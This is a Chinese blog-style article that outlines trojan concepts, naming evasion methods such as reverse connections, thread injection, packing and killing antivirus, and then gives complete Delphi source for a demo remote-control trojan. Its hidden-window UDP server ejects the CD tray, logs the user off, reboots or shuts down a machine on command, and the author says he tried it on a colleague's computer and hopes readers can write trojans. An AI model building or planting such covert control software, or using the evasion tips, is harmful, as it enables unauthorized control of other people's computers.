此文章只是个提纲挈领地概述了木马的一些基本概念和简要的发展历程,提供了一小段参考代码(Delphi7编译,Windows2000 SP4 和Windows XP SP2 测试通过);
后面的文章将详细讨论关于木马、远程控制软件和病毒(严格意义上的病毒并不包含木马程序)的一些异同,以及合法程序改造成木马、嵌套木马等问题;
目的是希望大家了解木马、熟悉木马技术,破除神秘感,能够手工清除木马,甚至能够编写木马程序------知己知彼,百战不殆。
-------------------------------------------------------------------
最近和集团的同事谈起关于木马的话题,同事不是做软件工作的,觉得木马很神奇,可以不知不觉地控制别人的电脑或者窃取别人的信息,为了解释木马的原理我就顺便写了一个演示用的木马程序在他的机器上小试了一下,这个演示的木马功能很简单:可以打开对方的光驱,关闭光驱,使被控端的电脑注销用户、重启和关机。因为是演示用,只实现了很简单的隐藏,而且未加入启动项,Server端同样使用VCL,未做简化(实用的Server端应该避免使用VCL,使用API编程,减小体积,便于隐藏)。
其实木马的原理并不复杂,它只要完成两件事就可以称之为木马:隐藏自己和传递信息(向内部传递控制信息和向外传递窃取的敏感信息)。木马是非授权的通信类软件,除了非授权性和隐蔽性的特点外,和其他通信类软件几乎没什么区别。
木马按功能分为:单一功能的木马和复合功能的木马。
单一功能的木马像早期的查看屏幕的木马LookMe和最近流行的各种盗取QQ号、游戏账号、银行账号的木马,这类木马一般只有一个服务程序,做好隐藏就可以了,窃取的信息一般通过邮件的方式传递。
复合功能的木马功能复杂,比如:可以上传下载对方的文件,查看屏幕,记录键盘序列,修改注册表,控制进程等,以致完全可以控制整个服务端的主机;这类木马常做成C/S结构,Server端完成隐藏和传递信息的功能,Client端发送命令控制Server端,有很多例子:BO,Sub7,冰河,NetSpy,YAI,黑洞,广外女生,网络神偷,聪明基因,灰鸽子等。
隐藏和传递信息的方式也逐步升级:早期的server端监听端口,被动连接,冰河是最经典的代表;后来为了突破防火墙出现了反弹端口,主动连接方式,网络神偷算是第一个吃螃蟹的人;最近比较热门的就是线程插入技术,目的是为了隐藏进程,躲避查杀。为了防止被查杀,这个过程中木马的生成机制也发生的了很多变化:加壳,修改特征码,嵌套木马,合法程序改造成木马或者直接杀掉杀毒软件等方式。
下面是简单的演示代码,使用IdUDP组件(UDP协议),只作理解原理的参考。
很有趣的是我在写完这个Server端的程序按下F9运行的时候,NOD32居然提示感染了未知病毒,直接把Server程序隔离了。后来查明程序中取得了用户权限后调用ExitWindowsEx()函数时被怀疑感染了病毒,但是单独取出这部分的关机代码却不能激活杀毒软件,看来NOD32是靠行为来判断未知病毒的--NOD32不愧为最好的预测未知病毒的杀毒软件。
§控制端§
§发现未知病毒§
Client端源码:
//----------------------------------------------------------------
////////////////////////////
//
//
//
Client Demo
//
//
2007.1.5
//
//
//
////////////////////////////
unit MainFrm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdUDPBase, IdUDPClient;
type
TfrmMain = class(TForm)
edtHost: TEdit;
edtPort: TEdit;
lblHost: TLabel;
Label2: TLabel;
btnOpen_CDROM: TButton;
btnClose_CDROM: TButton;
btnLoginOff: TButton;
btnReboot: TButton;
btnShutDown: TButton;
lblCmd: TLabel;
edtCmd: TEdit;
IdUDPClient1: TIdUDPClient;
procedure btnOpen_CDROMClick(Sender: TObject);
procedure btnClose_CDROMClick(Sender: TObject);
procedure btnLoginOffClick(Sender: TObject);
procedure btnRebootClick(Sender: TObject);
procedure btnShutDownClick(Sender: TObject);
private
procedure SendCmd(AHost, APort, CmdStr:string);
//声明:发送命令共用过程
{ Private declarations }
public
{ Public declarations }
end;
var
frmMain: TfrmMain;
implementation
{$R *.dfm}
procedure TfrmMain.SendCmd(AHost, APort, CmdStr:string);
//实现:发送命令共用过程
begin
IdUDPClient1.Host:=AHost;
IdUDPClient1.Port:=StrToInt(APort);
IdUDPClient1.Send(CmdStr);
end;
procedure TfrmMain.btnOpen_CDROMClick(Sender: TObject);
//打开光驱
begin
SendCmd(edtHost.Text, edtPort.Text, 'Open_CDROM');
end;
procedure TfrmMain.btnClose_CDROMClick(Sender: TObject);
//关闭光驱
begin
SendCmd(edtHost.Text, edtPort.Text, 'Close_CDROM');
end;
procedure TfrmMain.btnLoginOffClick(Sender: TObject);
//注销
begin
SendCmd(edtHost.Text, edtPort.Text, 'LoginOff');
end;
procedure TfrmMain.btnRebootClick(Sender: TObject);
//重启
begin
SendCmd(edtHost.Text, edtPort.Text, 'Reboot');
end;
procedure TfrmMain.btnShutDownClick(Sender: TObject);
//关机
begin
SendCmd(edtHost.Text, edtPort.Text, 'ShutDown');
end;
end.
//----------------------------------------------------------------
Server端源码:
注:在工程文件的 Application.Run; 语句前添加Application.ShowMainForm:=False; 语句以使程序运行时隐藏窗体;
并创建互斥对象,避免二次运行;
//----------------------------------------------------------------
////////////////////////////
//
//
//
Server Demo
//
//
2007.1.5
//
//
//
////////////////////////////
unit MainFrm;
interface
uses
Windows, Messages,
SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdUDPBase, IdUDPServer, IdSocketHandle,
MMSystem, ShellAPI;
type
TfrmMain = class(TForm)
IdUDPServer1: TIdUDPServer;
procedure IdUDPServer1UDPRead(Sender: TObject; AData: TStream;
ABinding: TIdSocketHandle);
private
procedure GetPrivilege;
//声明:获取登录用户权限
{ Private declarations }
public
{ Public declarations }
end;
var
frmMain: TfrmMain;
implementation
{$R *.dfm}
procedure TfrmMain.GetPrivilege;
//获取登录用户权限
var
NewState:TTokenPrivileges;
lpLuid:Int64;
ReturnLength:DWord;
ToKenHandle:Cardinal;
begin
OpenProcessToken(GetCurrentProcess,
TOKEN_ADJUST_PRIVILEGES
OR TOKEN_ALL_ACCESS
OR STANDARD_RIGHTS_REQUIRED
OR TOKEN_QUERY,ToKenHandle);
LookupPrivilegeValue(nil,'SeShutdownPrivilege',lpLuid);
NewState.PrivilegeCount:=1;
NewState.Privileges[0].Luid:=lpLuid;
NewState.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
ReturnLength:=0;
AdjustTokenPrivileges(ToKenHandle,False,NewState,0,nil,ReturnLength);
end;
procedure TfrmMain.IdUDPServer1UDPRead(Sender: TObject; AData: TStream;
//读取内存流数据
ABinding: TIdSocketHandle);
var
ReadCmd:TStringList;
//定义接受命令字符串列表
CmdList:TStringList;
//定义命令列表
begin
ReadCmd:=TStringList.Create;
//创建接受命令字符串列表
CmdList:=TStringList.Create;
//创建命令字符串列表
try
CmdList.Add('Open_CDROM');
CmdList.Add('Close_CDROM');
CmdList.Add('LoginOff');
CmdList.Add('Reboot');
CmdList.Add('ShutDown');
ReadCmd.LoadFromStream(AData);
//从内存流中取得数据
case CmdList.IndexOf(ReadCmd.Strings[0]) of
0: mciSendString('Set CDAudio door open wait',nil,0,handle);
//打开光驱
1: mciSendString('Set CDAudio door closed wait',nil,0,handle); //关闭光驱
2:
begin
GetPrivilege;
ExitWindowsEx(EWX_LOGOFF, 0);
//注销用户
end;
3:
begin
GetPrivilege;
ExitWindowsEx(EWX_REBOOT, 0);
//重启
end;
4:
begin
GetPrivilege;
ExitWindowsEx(EWX_SHUTDOWN OR EWX_POWEROFF, 0); //关机
end;
end;
finally
ReadCmd.Free;
//释放接受命令字符串列表
CmdList.Free;
//释放命令列表
end;
end;
end.
//----------------------------------------------------------------